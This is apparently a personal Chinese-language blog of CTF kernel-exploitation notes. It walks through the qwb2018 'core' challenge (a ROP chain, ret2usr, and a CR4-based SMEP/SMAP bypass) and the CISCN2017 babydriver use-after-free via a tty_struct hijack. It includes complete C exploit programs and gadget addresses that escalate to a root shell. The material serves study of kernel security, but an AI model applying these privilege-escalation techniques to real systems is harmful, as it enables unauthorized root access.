刷题记录,可能会非常乱,因为我主要是服务于自己,写的时候大概会主要写自己想要巩固的部分。(我这个人,什么事都只想着自己呢)

qwb2018 core(rop)

内核pwn初体验,非常好玩儿,主要是看着这个复现https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x06-Kernel-Heap-Heap-Spraying

首先拿到内核文件系统

image-20240515225631426

毕竟是第一次做,解释一下每个文件

https://zhuanlan.zhihu.com/p/466591309

  • bzimage

bzImage是最终生成的内核映像文件,可以理解为压缩后的vmlinux。可以用extract-vmlinux提取vmlinux

  • vmlinux

vmlinux 是静态编译,未经过压缩的 kernel 文件

内核源码根目录下比较大的vmlinux就是第一次编译链接生成的ELF文件,如果内核开启了调试选项,那么crash工具加载的就是这个vmlinux来获取符号信息等,debug-info包里的就是这个vmlinux

总而言之里面大概是有符号的

如果题目没给vmlinux,一般用extract-vmlinux提取。

  • start.sh

跑起来这个内核的参数

  • core.cpio

这里是文件系统,从start.sh里面可以看到

image-20240515235100245

初始化文件系统为这个文件系统。而这种文件系统看起来一般是压缩包形式的,所以一般可以直接解压缩就可以解出来文件系统。

简单分析

看start.sh,发现有kaslr

image-20240516000516462

注意这里的分配的内存有点小,我们直接跑可能跑不起来,多分配一些即可。

随后解包cpio

1
2
3
4
5
mkdir core
cd core
mv ../core.cpio core.cpio.gz
gunzip ./core.cpio.gz
cpio -idmv < ./core.cpio

随后得到文件系统

主要的文件如下

image-20240516000955687

首先看看init,这是首先会执行的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

可以看到

cat /proc/kallsyms > /tmp/kallsyms 这里相当于给你了内核的符号表,因为我们普通用户是没法直接cat /proc/kallsyms的。

poweroff -d 120 -f &是定时关机,直接删掉后重打包

setsid /bin/cttyhack setuidgid 1000 /bin/sh 这里是给你一个初始权限,我们可以本地调试的时候1000改成0,这样就可以直接root模式,也就可以获得text段的地址方便导入符号调试

然后就没啥多的了

gen_cpio.sh是他给你的方便你打包cpio的脚本,直接用就行了

然后就是最重要的core.ko,一般内核题都是分析这玩意。就相当于加入的内核模块的二进制了。

各种sh脚本

gcc编译

1
gcc exp1.c -o exp -static -masm=intel

cpio打包

1
2
3
4
在core目录下
mv ../../exp_dir/exp . 此处exp_dir是我的脚本目录
./gen_cpio.sh core.cpio
mv ../core.cpio .

qemu调试

注意要root,不然remote连接没权限

1
2
3
4
sudo su
gdb ./vmlinux -q
add-symbol-file ./core.ko {text地址}
target remote localhost:1234 start.sh里面默认开了gdb调试选项,直接用

core模块text地址获取

1
2
root模式下
cat /sys/module/core/section/.text

因为有kaslr所以每次关闭后要重来一次

内核模块分析

先checksec,有canary。

image-20240516001710497

拖进ida分析

注册模块的位置

image-20240516001807970

看注册模块的回调函数,也就是看这个proc_create的第四个参数

image-20240516001837214

write,ioctl,release三个函数

core_copy_func

image-20240516001505406

漏洞点位于core_copy_func,可以看到最后的qmencpy的a1是unsigned int16,而前面比较的时候是int64。我们可以构造低16位是正数的64位负数,就可以绕过这里。

core_ioctl

image-20240516002516841

第二个case可以改off

core_read

image-20240516002544572

因为off可控,所以我们可以通过这个把canary泄露出来。偏移是0x40

image-20240516002621978

core_write

image-20240516002859550

这里可以往name里写0x800个字符

功能解析完了,总流程就出来了

首先赋值可控的off,获得canary。然后write rop链到name里面,最后用copy_func的类型转换洞把rop链写到栈上即可完成利用。

用ropper搜索gadget,注意要用解压出来的文件系统里面的那个,根据最上面的解释

1
2
内核源码根目录下比较大的vmlinux就是第一次编译链接生成的ELF文件,如果内核开启了调试选项,那么crash工具加载的就是这个vmlinux来获取符号信息等
ropper --file vmlinux --search "pop|ret" > gadget.txt

然后我们就可以自取所需了

image-20240516004412336

exploit

找好了gadget就可以写脚本了(基本上参考的https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x06-Kernel-Heap-Heap-Spraying)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>

size_t prepare_kernel_cred=0,commit_creds=0;

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_privilige(size_t prepare_kernel_cred, size_t commit_creds)
{
void *(*prepare_kernel_cred_ptr)(void *) =
(void *(*)(void*)) prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = (int (*)(void*)) commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}

puts("\033[32m\033[1m"
"[+] Successful to get the root. Execve root shell now..."
"\033[0m");
system("/bin/sh");
}

void core_read(int fd,char *buf){
puts("\033[34m\033[1m[*] core_read\033[0m");
ioctl(fd, 0x6677889B, buf);
}

void set_off_val(int fd,size_t off){
puts("\033[34m\033[1m[*] set_off_val\033[0m");
ioctl(fd, 0x6677889C, off);
}

void core_copy(int fd,size_t nbytes){
puts("\033[34m\033[1m[*] core_copy\033[0m");
ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv){
int fd;
FILE* ksyms_file;
char buf[0x50],type[0x10];
size_t addr;
size_t offset,canary;

puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
save_status();
fd = open("/proc/core",2);
if(fd<0){
puts("\033[31m\033[1m[-] Open device failed.\033[0m");
return -1;
}

ksyms_file = fopen("/tmp/kallsyms","r");
if(ksyms_file == NULL){
puts("\033[31m\033[1m[-] Open kallsyms failed.\033[0m");
return -1;
}
while(fscanf(ksyms_file,"%lx%s%s",&addr,type,buf) != EOF){
if(prepare_kernel_cred && commit_creds) {
break;
}

if(!commit_creds && !strcmp(buf, "commit_creds")) {
commit_creds = addr;
printf("\033[32m\033[1m"
"[+] Successful to get the addr of commit_cread:"
"\033[0m%lx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf("\033[32m\033[1m"
"[+] Successful to get the addr of prepare_kernel_cred:"
"\033[0m%lx\n", prepare_kernel_cred);
continue;
}
}
offset = commit_creds - 0xffffffff8109c8e0;
printf("\033[32m\033[1m"
"[+] The offset is:\033[0m%lx\n", offset);
set_off_val(fd,64);
core_read(fd,buf);
canary = ((size_t *)buf)[0];
printf("\033[32m\033[1m"
"[+] The canary is:\033[0m%lx\n", canary);

size_t rop[0x1000] = {0};
int i;
rop[0] = 0;
for(i=1;i<9;i++){
rop[i] = 0;
}
rop[8] = canary;
rop[i++] = 0;
rop[i++] = 0xffffffff81000b2f + offset;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)get_root_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd,rop,0x800);
core_copy(fd,0xffffffffffff0000 | (0x100));
}

一步步解释

保存用户态参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
save_status()

用户态进入内核态,固定板子。

获取关键函数地址和vmbase的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
   ksyms_file = fopen("/tmp/kallsyms","r");
if(ksyms_file == NULL){
puts("\033[31m\033[1m[-] Open kallsyms failed.\033[0m");
return -1;
}
while(fscanf(ksyms_file,"%lx%s%s",&addr,type,buf) != EOF){
if(prepare_kernel_cred && commit_creds) {
break;
}

if(!commit_creds && !strcmp(buf, "commit_creds")) {
commit_creds = addr;
printf("\033[32m\033[1m"
"[+] Successful to get the addr of commit_cread:"
"\033[0m%lx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf("\033[32m\033[1m"
"[+] Successful to get the addr of prepare_kernel_cred:"
"\033[0m%lx\n", prepare_kernel_cred);
continue;
}
}

这里是因为本题把内核符号表给我们了,我们可以通过读取这个位置(init.sh里写了)的kallsyms来获取内核中函数的地址。找到我们需要的prepare_kernel_cred和commit_creds

又因为我们是有vmlinux的,我们可以在其中找到这俩函数相对基址的偏移。找到偏移后我们就可以通过读取的commit_creds地址获取vmbase相对于默认地址的偏移。

1
2
3
offset = commit_creds  - 0xffffffff8109c8e0
= commit_creds - (0xffffffff81000000 + 0x9c8e0)
vmbase默认基址 commit_creds相对vmlinux基址的偏移

我们需要获取基址才能通过偏移去找到对应的gadget,所以这一步是必不可少的。

获取canary

获取canary如下

1
2
3
set_off_val(fd,64);
core_read(fd,buf);
canary = ((size_t *)buf)[0];

首先把off设置为0x40,就是栈上canary的偏移,前面解释了不细谈。然后read出来后赋值

构造rop链

填充canary,在0x40的位置,可以通过调试得知也可以通过代码

image-20240516005121060

比较有意思的是,用户栈的canary是fs:0x28,而内核的是gs:0x28

然后构造commit_creds(prepare_kernel_cred(NULL))

构造完就是经典的内核回用户的填充栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
   rop[i++] = 0xffffffff81000b2f + offset; //pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
===========
* prepare_kernel_cred(0)
===========
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
===========
* 这个pop rcx;ret只是弹栈而已,因为执行call rdx的时候会往栈里push一个地址,需要弹出来
===========
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;
===========
* commit_creds(prepare_kernel_cred(0))
===========
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
===========
* 回到用户态的固定板子
===========
rop[i++] = (size_t)get_root_shell;
===========
* userip的位置,相当于回到用户态后直接跳到这里执行
===========
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

开打

1
2
write(fd,rop,0x800);
core_copy(fd,0xffffffffffff0000 | (0x100));

然后就可以root了

第一次写详细一些,后面简单写了.

qwb2018 core(ret2usr)

比rop简单,因为没开启SMAP/SMEP保护的情况下内核空间可以执行用户空间的数据,所以我们可以以内核的权限执行用户空间的代码。和上面的相比就是,可以获取俩关键函数的地址后直接调用,然后再跳会用户态,不用找很久gadget然后布局栈执行那俩函数。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff813eb448

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;
..............
省略重复部分
..............
void getRootPrivilige(void)//直接调用
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = (size_t)getRootPrivilige;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

qwb2018 core(ret2usr with SMAP/SMEP BYPASS)

开了smap和smep后,需要多一步才能ret2usr。

SMEP:位于Cr4的第20位,作用是让处于内核权限的CPU无法执行用户代码。 SMAP:位于Cr4的第21位,作用是让处于内核权限的CPU无法读写用户代码。

绕过的方法就是把cr4的对应的这俩位给变成0.多找几个gadget就行了

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
   //construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;

rop_chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET + offset;
//把当前cr4的值赋值rax
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = *(size_t*) "arttnba3";
//填充栈,因为上面会add rsp + pop,刚好填充俩
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0xffffffffffcfffff;
//把掩码pop到rdi
rop_chain[i++] = AND_RAX_RDI_RET + offset;
//and一下,赋值20和21位为0
rop_chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + offset;
//赋值回去
rop_chain[i++] = (size_t)getRootPrivilige;
rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + offset;
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));

也不难,感觉不如rop。由于之后的cpu基本开了kpti,内核页表的用户地址空间无执行权限,所以我们没法在内核空间执行用户空间代码。ret2usr也就是寄了。但是原理学一下也不是坏事。

CISCN2017babydriver(uaf)

第一次做kernel的uaf。内核堆和用户态的堆区别还是蛮大的。学学学。

内核的堆内存主要指的是线性映射区,常见的分配函数kmalloc从这里分配内存,常用的分配器为slub。slub分配器的结构得多看啊多看。滚瓜烂熟。

本题的漏洞点比较明显

image-20240817191336192

release函数free完后没有清0,导致可以进行uaf。

open函数会打开一个64byte size的堆,放到这个babydev_struct的全局变量里

image-20240817191428218

ioctl函数可以改变这个全局变量的堆的size,相当于重新分配一个堆,size是我们传入的参数

read和write就正常read和write

分析

这里只有一个设备,还是全局的,babydev。如果我们连续open两次的话,后一个kmalloc出来的chunk指针会覆盖前一个,导致两个指针指向同一个设备的chunk。如果free掉一个,另一个还是能指向这个被free了的没有清空的chunk。实现一个uaf。由于本题开了smep,所以没法直接ret2usr,得改cr4.也就是多一步找cr4相关的gadget。由于没开smap,所以我们可以在用户栈布置rop链。

又因为我们需要将栈迁移到我们构造rop链的地址,所以我们需要一个mov esp的gadget,来让我们的rsp设置到rop链的位置,从而执行我们的rop链上的函数。

本题用tty_struct作为victim object,在/dev下有个伪终端ptmx,我们打开这个设备的时候内核会创建一个tty_struct结构体,这个结构体存在一个存放函数指针的结构体tty_operations。所以我们这里首先打开ptmx终端,然后用uaf劫持该终端的tty_operations里的write函数。劫持该函数的原因是write很容易触发。将write函数劫持后执行我们的rop链上的函数。当然在这之前先栈迁移到rop上。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef
#define RET 0xffffffff81063637
#define USER_RET 0x000000000040101A

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

//get the addr
FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t rop[0x20], p = 0;
rop[p++] = POP_RDI_RET;
rop[p++] = 0x6f0;
rop[p++] = MOV_CR4_RDI_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = getRootPrivilige;
rop[p++] = SWAPGS_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = IRETQ_RET;
rop[p++] = getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp + 8;
rop[p++] = user_ss;
size_t fake_op[0x30];
for(int i = 0; i < 0x10; i++)
fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET;
fake_op[0] = POP_RAX_RET;
fake_op[1] = rop;
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
size_t fake_tty[0x20];
printf("\033[34m\033[1m[*] Start to fake the tty_struct:%llx\033[0m\n ", fake_tty);
int fd3 = open("/dev/ptmx", 2);
read(fd2, fake_tty, 0x40);
fake_tty[3] = fake_op;
printf("\033[32m\033[1m[+] fake_op:%llx \033[0m\n",fake_op);
write(fd2, fake_tty, 0x40);
write(fd3, buf, 0x8);
return 0;
}

流程如下:

首先open两次babydev,让后一次覆盖前一次,且两个都指向同一个chunk。随后ioctl改变size为0x2e0,也就是当前版本tty_struct结构体的size。随后free掉。free完后打开ptmx,将刚刚free完的chunk分配给ptmx。然后read前几位,只要保证read的数大于那个operations的size就可以。然后我们将构造好的fake_op覆盖对应的tty_operations

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; < -------------------------- 这里
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

覆盖完后write回去。最后再对ptmx进行write调用。此时会先去tty_operations,也就是我们已经用fake_op覆盖的位置,找到偏移为8的write函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count); < -------------------------- 这里
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

因为此时栈还在内核,所以我们需要在偏移为8的这个位置把栈迁移到用户栈的可控位置。我们布置一个mov esp,rax的gadget在这个位置。原因是调试的时候发现执行write时rax存放的就是我们fake_op的首地址。迁移完后栈还需要抬一位(调试可知)才能到我们的最开始的rop链的函数,所以我们随便选一个pop rax ret的gadget即可。执行完后就是正常构造rop链了。